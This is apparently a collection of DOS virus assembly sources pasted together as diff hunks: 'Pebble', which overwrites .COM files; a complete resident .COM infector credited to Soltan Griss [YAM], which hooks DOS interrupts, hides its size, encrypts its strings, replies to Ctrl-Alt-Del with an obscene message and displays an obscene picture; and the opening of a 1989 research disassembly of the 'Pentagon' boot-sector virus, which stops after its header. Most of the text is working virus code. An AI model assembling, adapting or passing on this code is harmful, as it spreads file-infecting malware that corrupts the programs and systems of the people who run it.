end main

@ -0,0 +1,66 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PEBBLE ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 21-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_0001e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
pebble proc far
start:
mov ah,4Eh ; 'N'
mov cx,27h
mov dx,12Ch
loc_0001:
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_0002 ; Jump if carry Set
call sub_0001
mov ah,4Fh ; 'O'
jmp short loc_0001
loc_0002:
int 20h ; DOS program terminate
pebble endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0001 proc near
mov ax,3D02h
mov dx,data_0001e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov ah,40h ; '@'
mov cx,32h
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_0001 endp
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
seg_a ends
end start

@ -0,0 +1,716 @@
;*****************************************************************************
;* THE PENIS VIRUS
;*
;*
;* By Soltan Griss [YAM]
;*
;*
;*
;*
;* In no means was this intended to be a serious virus, I got bored one day
;* and decided to have some fun.
;*
;*
;* Well Here it is...
;*
;*****************************************************************************
seg_a segment
assume cs:seg_a,ds:seg_a,es:nothing
org 100h
start: db 0E9h,02,00,42h,0f2h
mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY
mov si,offset old_8 ;encrypt All text messages
call crypter
mov cx,(exec-data)
mov si,offset data
call crypter
vstart equ $
call code_start
code_start:
pop si
sub si,offset code_start
mov bp,si
jmp load ;Load in the TSR
;**************************************************************************
old_8 dw 0,0
new_8: push ax
push bx ;lets run the clock
push cx ;backwards
push ds
xor ax,ax
mov ds,ax
mov bx,ds:46Ch
mov cx,ds:046Eh
dec bx
jno loc_4
dec cx
jno loc_4
mov bx,0AFh
mov cx,18h ;remember to do it twice
loc_4: ;cause the normal increase
dec bx ;will negate the first one
jno loc_5
dec cx
jno loc_5
mov bx,0AFh
mov cx,18h
loc_5:
mov ds:046Eh,cx
mov ds:046Ch,bx
pop ds
pop cx
pop bx
pop ax
do_old_8: jmp dword ptr cs:[old_8-vstart]
;****************************************************************************
;int 9 handler
old_9 dd ? ;Store old int 9
new_9:
push ax
in al,60h ;Turn on Register 60
cmp al,53h ;Ctrl-Alt-Del
je fuck_you
pop ax
jmp dword ptr cs:[(old_9-vstart)]
say_it: db "FUCK YOU ASSHOLE! ","$"
fuck_you:
push ds
push dx
mov ah,9h
push cs
pop ds
mov dx,say_it-vstart ;Say message
int 21h
pop dx
pop ds
pop ax
iret
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
old_21 dd ?
new_21:
cmp ax,4b00h ;Are we executing?
je exec1
cmp ah,11h
je hide_size
cmp ah,12h
je hide_size
cmp ax,0f242h ;Are we going resident?
jne do_old
mov bx,242fh ;Set our residency byte
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
exec1: jmp exec
do_dir: jmp dword ptr cs:[(old_21-vstart)]
ret
hide_size:
pushf
push cs
call do_dir ;get the current FCB
cmp al,00h
jnz dir_error ;jump if bad FCB
push ax
push bx
push es ;undocumented get FCB
mov ah,51h ;location
int 21h
mov es,bx ;get info from FCB
cmp bx,es:[16h]
jnz not_inf
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;get DTA
int 21h
pop ax
inc al ;Check for extended FCB
jnz normal_fcb
add bx,7h
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ;check for 2 seconds
jnz not_inf
and byte ptr es:[bx+17h],0e0h ;subtract virus size
sub es:[bx+1dh],(vend-vstart)
sbb es:[bx+1fh],ax
not_inf:pop es
pop bx
pop ax
dir_error:
iret ;back to caller
;***************************************************************************
;***************************************************************************
;* PICTURE TO DISPLAY
;***************************************************************************
data DB 'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',4,' ',15,'Ü',4,' ',15,' '
DB 15,' ',15,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',15,'Ü',4
DB 'Ü',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü',4
DB 'Ü',4,' ',15,' ',15,'Ü',4,' ',15,' ',15,' ',15,' ',15
DB ' ',15,'Ü',4,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û'
DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
DB ' ',64,'Û',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'Ü',4,' ',15
DB ' ',15,' ',15,' ',15,'Ü',4,' ',64,' ',4,' ',15,' ',15
DB 'Û',4,'Û',4,'Ü',4,' ',15,'Û',64,' ',64,'Û',4,' ',15,'Û'
DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',64,'Ü',64,'Ü',64,'Ü',64,'ß',64,'Û',64,' '
DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
DB 64,' ',15,' ',15,' ',15,' ',64,'Ü',4,' ',64,' ',64,'ß'
DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'Û',4,' ',15,'Û'
DB 4,'Ü',4,'Û',4,' ',15,'Û',4,' ',15,'Û',4,'Ü',64,'Ü',64
DB 'Û',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'Ü',4
DB 'Ü',4,'Ü',4,'Ü',64,' ',15,' ',64,'Ü',4,'Ü',4,'Ü',4,' '
DB 15,' ',64,'Ü',4,'Ü',4,' ',64,' ',15,' ',15,' ',15,' '
DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'Û',4,' ',15,' ',15,'ß',4,' ',15,' ',15,'Û'
DB 4,' ',15,'Û',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û',64,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Û',96,'ß',96
DB 'ß',96,'ß',96,'Û',96,'Û',96,'Û',96,'Û',96,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,'±',96,'°',96,'°',96,' ',96,'ß',96,'Û'
DB 96,'Û',96,'Û',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü'
DB 15,'Ü',15,'Ü',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'±',96
DB '±',96,'°',96,'°',96,' ',96,'Û',96,'Û',96,'Ü',15,'Ü',15
DB 'Ü',15,'Û',15,'Û',15,'Û',15,' ',15,' ',15,' ',15,' ',15
DB 'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB '±',96,'±',96,'°',96,'°',96,' ',96,'Û',96,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,'ß',15,'ß',15,'ß',15,' ',15,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'ß',96
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,'Ü',96,'Ü',96,'Ü',96,'Û',96,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',103,' ',103,' ',103,'°',96,'°',96,'°',96,' '
DB 103,'ß',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',103,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103
DB 'Ü',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'Ü',96,' ',103,' ',103,' ',103,'Ü',96,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
DB 15,'O',15,'F',15,' ',15,' ',15,' '
DB 0,' ',0,' ',15,' ',15,' ',15,' '
DB 03,'[',03,'Y',03,'A',03,'M'
DB 03,']',03,'/',03,'9',03,'2'
DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
DB 04,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0
;Actual program begins here
exec:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
mov ax,4300h ;get file attributes
int 21h
jc long_cock
and cl,0feh ;make it read/write
mov ax,4301h
int 21h
jc long_cock
infect:
mov ax,3d02h
int 21h
jc long_cock
mov bx,ax
push ds
push cs
pop ds
mov ah,3fh
mov cx,5h
mov dx,(buffer-vstart) ;load in the first 5 bytes
int 21h
jc long_cock
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
je long_cock ;EXE
cmp word ptr cs:[(buffer-vstart)+3],42F2h
je long_cock ;Check to see if F242 tag
;if so then its infected
jmp next
long_cock:
jmp cocker2
next:
mov ax,5700h
int 21h
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
mov word ptr cs:[(old_date-vstart)],dx ;and date
mov ax,4202h ;move file pointer to end
xor cx,cx ;top get the files size
xor dx,dx
int 21h
jc long_cock
mov cx,ax
sub cx,3 ;sub 3 form jump at begining
mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
mov cx,(old_21-old_8) ;number of bytes to encrypt before writing
mov si,(old_8-vstart)
call crypter
mov cx,(exec-data)
mov si,(data-vstart)
call crypter
mov ah,byte ptr cs:[(infect_times-vstart)]
mov byte ptr cs:[(infect_times-vstart)],00h
push ax
mov cx,(vend-vstart) ;write the virus to the end
mov ah,40h ;of the file
xor dx,dx
int 21h
jc cocker
pop ax
inc ah
mov byte ptr cs:[(infect_times-vstart)],ah ;counter
mov cx,(exec-data)
mov si,(data-vstart) ;decrypt data
call crypter
mov cx,(old_21-old_8) ;number of bytes to decrypt after writing
mov si,(old_8-vstart)
call crypter
mov ax,4200h ;move file pointer to the
xor cx,cx ;begining to write the JMP
xor dx,dx
int 21h
mov cx,5
mov ah,40h ;write the JMP top the file
mov dx,(jump_add-vstart)
int 21h
jc cocker
mov ax,5701h
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H
inc cl ;change seconds to 2
int 21h
mov ah,3eh
int 21h
jmp show_dick
cocker: jmp cocker2
show_dick:
cmp byte ptr cs:[(infect_times-vstart)],03h
jl cocker
mov ah,0fh ;get current video mode
int 010h
cmp al,7 ;is it a monochrome mode?
jz mono ;yes
mov ax,0B800h ;color text video segment
jmp SHORT doit
mono: mov ax, 0B000h ;monochrome text video segment
doit: mov es,ax
push cs
pop ds
mov si,data-vstart ;load destination offset
xor di,di ;clear destination index counter
mov cx,(exec-data+1)/2
rep movsw ;write to video memory
mov ah,02h ;hide cursor
mov bh,0 ;assume video page 0
mov dx,1A00h ;moves cursor past bottom of screen
int 010h
lup: mov ah, 01h
int 016h
jz lup
mov ah,0
int 016h
;Clear the screen
mov ah, 6 ;function 6 (scroll window up)
mov al, 0 ;blank entire screen
mov bh, 7 ;attribute to use
mov ch, 0 ;starting row
mov cl, 0 ;starting column
mov dh, 25 ;ending row
mov dl, 80 ;ending column
int 10h ;call interrupt 10h
mov ah,02h ;puts cursor back where it belongs
mov bh,0 ;assume video page 0
mov dx,0
int 010h
cocker2:pop ds
pop es
pop ds
pop si ;go back to old int 21
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[(old_21-vstart)]
old_date dw 0
old_time dw 0
buffer: db 0cdh,20h,00
buffer2 db 0,0
infect_times: DB 0h
jump_add: db 0E9h,00,00,0F2h,42h;
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
exit2: jmp exit
crypter:
push ax ;Encryptor Routine
loo: mov ah,byte ptr cs:[si] ;move byte into ah
xor ah,0AAh ;Xor it
mov byte ptr cs:[si],ah ;write it back
inc si
loop loo
pop ax
ret
load: mov ax,0f242h ; Check to see if we are
int 21h ; allready resident
cmp bx,0242fh ; looking for f242 tag
je exit2
mov cx,(old_21-old_9) ;number of bytes to decrypt
mov si,offset old_9
add si,bp
call crypter
mov cx,(exec-data) ;number of bytes to decrypt
mov si,offset data
add si,bp
call crypter
dec_here:
push cs
pop ds
mov ah,49h ;Release current Memory block
int 21h
mov ah,48h ;Request Hugh size of memory
mov bx,0ffffh ;returns biggest size
int 21h
mov ah,4ah
sub bx,(vend-vstart+15)/16+1 ;subtract virus size
jc exit2
int 21h
mov ah,48h
mov bx,(vend-vstart+15)/16 ;request last XXX pages
int 21h ;allocate it to virus
jc exit2
dec ax
push es
mov es,ax
mov byte ptr es:[0],'Z' ;make DOS the owner
mov word ptr es:[1],8
mov word ptr es:[3],(vend-vstart+15)/16 ;put size here
sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current
;memory
inc ax
lea si,[bp+offset vstart] ;copy it to new memory block
xor di,di
mov es,ax
mov cx,(vend-vstart+5)/2
cld
rep movsw
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;swap vectors manually
mov word ptr es:[old_21-vstart],ax
mov word ptr es:[old_21-vstart+2],ds
pop ds
mov word ptr ds:[21h*4],(new_21-vstart)
mov ds:[21h*4+2],es
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[9h*4]
mov word ptr es:[old_9-vstart],ax
mov word ptr es:[old_9-vstart+2],ds
pop ds
mov word ptr ds:[9h*4],(new_9-vstart)
mov ds:[9h*4+2],es
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[8h*4]
mov word ptr es:[old_8-vstart],ax
mov word ptr es:[old_8-vstart+2],ds
pop ds
mov word ptr ds:[8h*4],(new_8-vstart)
mov ds:[8h*4+2],es
push cs
pop ds
exit:
push cs
pop es
; now got to copy it back......
mov cx,5
mov si,offset buffer ;copy it back and run original
add si,bp ;program
mov di,100h
repne movsb
mov bp,100h
jmp bp
vend equ $
seg_a ends
end start

@ -0,0 +1,989 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Pentagon' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Pentagon' Virus º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
; The code section between offsets 59H and C4H (which is normally
; encrypted) appears to have been separately assemblied using A86.
; Virus is possibly an honorary term, at least for this sample,
; as all attempts to run it have so far failed.
; This virus consists of a boot sector and two files.
; The boot sector is a normal PCDOS 3.20 boot sector with three
; changes:
; 1. The OEM name 'IBM' has been changed to 'HAL'.
; 2. The first part of the virus code overwrites 036H to 0C5H.
; 3. 100H-122H has been overwritten by a character string.
; The name of the first file is the hex character 0F9H. This file
; contains the rest of the virus code followed by the original boot
; sector.
; The name of the second file is PENTAGON.TXT. This file does not
; appear to be used in any way or contain any meaningful data.
; Both files are created without the aid of DOS, and the first
; file is accessed by its stored absolute location.
; Four different sections of the virus are separately encrypted:
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
SEG70 SEGMENT AT 70H
ASSUME CS:SEG70
EXIT:
SEG70 ENDS
BOOT SEGMENT AT 0
